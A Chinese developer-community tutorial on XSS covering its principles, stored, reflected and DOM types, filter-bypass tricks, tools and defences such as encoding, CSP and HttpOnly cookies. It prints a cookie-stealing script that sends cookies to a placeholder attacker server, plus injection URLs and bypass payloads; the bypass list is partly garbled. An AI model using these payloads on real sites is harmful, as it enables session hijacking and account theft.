XSS攻击的原理和核心用法。-开发者社区

跨站脚本攻击（Cross-Site Scripting，简称XSS）是Web应用中最常见的高危漏洞之一，位列OWASP Top 10多年，其核心是攻击者通过注入恶意脚本，在用户浏览器中执行非预期操作，窃取敏感信息、劫持用户会话或篡改页面内容。相较于SQL注入，XSS攻击场景更灵活、绕过方式更多样，且易被开发者忽视，成为Web安全防护的重点与难点。

本文从XSS攻击的核心原理出发，拆解三大类型XSS的攻击逻辑、实战场景与绕过技巧，结合工具实操与防御方案，帮你全面掌握XSS攻击的“攻与防”，避开开发与测试中的常见误区。

一、XSS攻击核心原理：为什么能成功注入？

XSS攻击的本质是“输入输出未做严格过滤”。Web应用若未对用户输入的内容进行校验、编码，直接将其嵌入页面HTML中，当用户访问该页面时，浏览器会将注入的恶意脚本当作合法代码执行，从而实现攻击目的。

核心前提条件：

用户输入可控：攻击者能通过输入框、URL参数、Cookie、评论区等渠道，向Web应用注入恶意脚本；
输出未做过滤：应用将用户输入的内容直接渲染到页面，未进行HTML编码、转义等处理，导致脚本被执行；
浏览器信任机制：浏览器默认信任页面中的脚本，无法区分合法脚本与恶意脚本，直接执行所有符合语法的代码。

XSS攻击的核心危害：窃取用户Cookie、SessionID劫持会话、钓鱼欺诈、篡改页面内容、传播恶意代码、获取用户摄像头/麦克风权限等。

二、XSS攻击三大类型：场景与攻击逻辑拆解

存储型XSS（Persistent XSS）：最危险的长效攻击

核心特点：恶意脚本被永久存储在目标Web应用的数据库、评论区、用户资料等位置，所有访问该页面的用户都会触发脚本执行，影响范围广、持续时间长，危害最大。

（1）攻击流程

攻击者在用户输入框（如评论区、留言板）输入含恶意脚本的内容；
Web应用未过滤直接将内容存入数据库；
其他用户访问包含该内容的页面时，应用从数据库读取恶意脚本并渲染到页面；
用户浏览器执行恶意脚本，攻击者实现攻击目的（如窃取Cookie）。

（2）实战案例：评论区存储型XSS

假设某博客网站评论区未做过滤，攻击者输入以下内容并提交：

<script>var img=new Image();img.src="http://攻击者服务器/steal?cookie="+document.cookie;</script>

该脚本会被存入数据库，当其他用户查看评论时，脚本执行并将自身Cookie发送至攻击者服务器，攻击者可利用Cookie劫持用户会话，登录用户账号。

反射型XSS（Reflected XSS）：一次性触发攻击

核心特点：恶意脚本通过URL参数、表单提交等方式传入Web应用，应用直接将其反射到页面中执行，脚本不存储在服务器，仅对单次访问有效，需诱导用户点击恶意URL才能触发，危害范围相对有限。

（1）攻击流程

攻击者构造含恶意脚本的URL（如将脚本嵌入URL参数）；
通过钓鱼邮件、社交软件等方式诱导用户点击该URL；
用户点击后，服务器将URL中的恶意脚本反射到页面并渲染；
浏览器执行脚本，完成攻击。

（2）实战案例：URL参数反射型XSS

假设某网站搜索页通过URL参数接收搜索关键词，页面直接渲染关键词，攻击者构造如下URL：

http://目标网站/search?key=<script>alert("XSS攻击")</script>

用户点击该URL后，页面会执行alert脚本，若替换为窃取Cookie的脚本，即可实现会话劫持。此类XSS常被用于钓鱼攻击，诱导用户输入敏感信息。

DOM型XSS（DOM-Based XSS）：基于页面DOM操作的攻击

核心特点：恶意脚本不经过服务器交互，仅通过客户端DOM操作触发。页面JavaScript代码从URL、Cookie等位置获取数据后，直接修改DOM结构，若未做过滤，会导致恶意脚本执行，属于纯客户端层面的攻击。

（1）攻击流程

攻击者构造含恶意脚本的URL，诱导用户点击；
用户浏览器加载页面，页面JavaScript读取URL中的恶意内容；
JavaScript将恶意内容插入DOM树，导致脚本执行；
攻击完成，全程不与服务器交互，难以被服务器层面的防护设备检测。

（2）实战案例：DOM操作触发XSS

页面存在如下JavaScript代码，从URL参数name中获取值并插入页面：

var name = location.href.split("name=")[1]; document.getElementById("username").innerHTML = name;

攻击者构造URL：

http://目标网站/page?name=<script>stealCookie()</script>

JavaScript读取name参数后，通过innerHTML插入DOM，直接执行恶意脚本。此类XSS因不经过服务器，WAF等设备难以拦截，防御难度更高。

三、XSS攻击绕过技巧：常见防御突破方法

脚本标签变形：使用<script>的变形形式，如<scr事件触发绕过：不使用script>标签，通过HTML事件执行脚本，如img src=x οnerrοr=alert(1)>、a href=javascript:alert(1)>点击/a>`；
编码绕过：对恶意脚本进行HTML实体编码、URL编码、Base64编码，若应用仅过滤原始脚本，未解码校验则会被绕过；
拼接绕过：将脚本拆分拼接，如<script>var a="al";var b="ert";eval(a+b+"(1)")</script>，绕过关键词过滤；
框架嵌套绕过：通过<iframe>、<frame>嵌套恶意页面，间接执行脚本。
Burp Suite：核心用于手动检测与利用XSS，通过Repeater模块构造Payload，Scanner模块批量扫描XSS漏洞，支持Payload编码、变形，适配各类XSS场景；
OWASP ZAP：开源Web安全扫描工具，可自动扫描存储型、反射型XSS，生成漏洞报告，适合新手入门；
XSS Hunter：专门用于检测XSS漏洞的在线工具，提供恶意Payload，若漏洞触发，会向平台发送通知，精准定位可利用的XSS点。

脚本利用工具

Cookie窃取脚本：通过Image、XMLHttpRequest将Cookie发送至攻击者服务器，配合PHP脚本接收存储；
BeEF（Browser Exploitation Framework）：强大的浏览器劫持框架，通过XSS漏洞注入Hook脚本，可远程控制用户浏览器，执行弹窗、窃取信息、端口扫描等操作。

四、XSS攻击防御方案：从开发到部署全维度防护

输入过滤：源头阻断恶意内容

严格校验输入格式：对用户输入的内容进行类型、长度、格式校验，如手机号、邮箱仅允许符合规则的字符；
过滤危险关键词：拦截<script>、onerror、javascript:等危险标签与事件，可使用安全库（如Java的OWASP ESAPI）实现；
白名单机制：仅允许指定的合法字符输入，拒绝所有未知字符，防护效果优于黑名单。

输出编码：渲染时转义恶意脚本

无论输入是否过滤，输出到页面时都需进行编码转义，将特殊字符转换为HTML实体，使浏览器当作文本渲染，不执行脚本：

HTML编码：将<转义为<、>转义为>、"转义为"、'转义为'；
JavaScript编码：在JavaScript语境中输出时，使用\转义特殊字符，或使用JSON.stringify()处理；
URL编码：输出到URL参数时，使用encodeURIComponent()编码，避免参数注入。

安全配置：增强浏览器防护能力

开启CSP（内容安全策略）：通过HTTP响应头Content-Security-Policy限制脚本加载源，仅允许信任的域名加载脚本，禁止内联脚本、eval执行，从浏览器层面阻断XSS；
设置Cookie安全属性：为Cookie添加HttpOnly属性（禁止JavaScript读取）、Secure属性（仅HTTPS传输）、SameSite属性（限制跨域发送），防止Cookie被窃取；
禁用不必要的API：关闭页面中未使用的JavaScript API，如eval()、innerHTML（优先使用textContent），减少攻击面。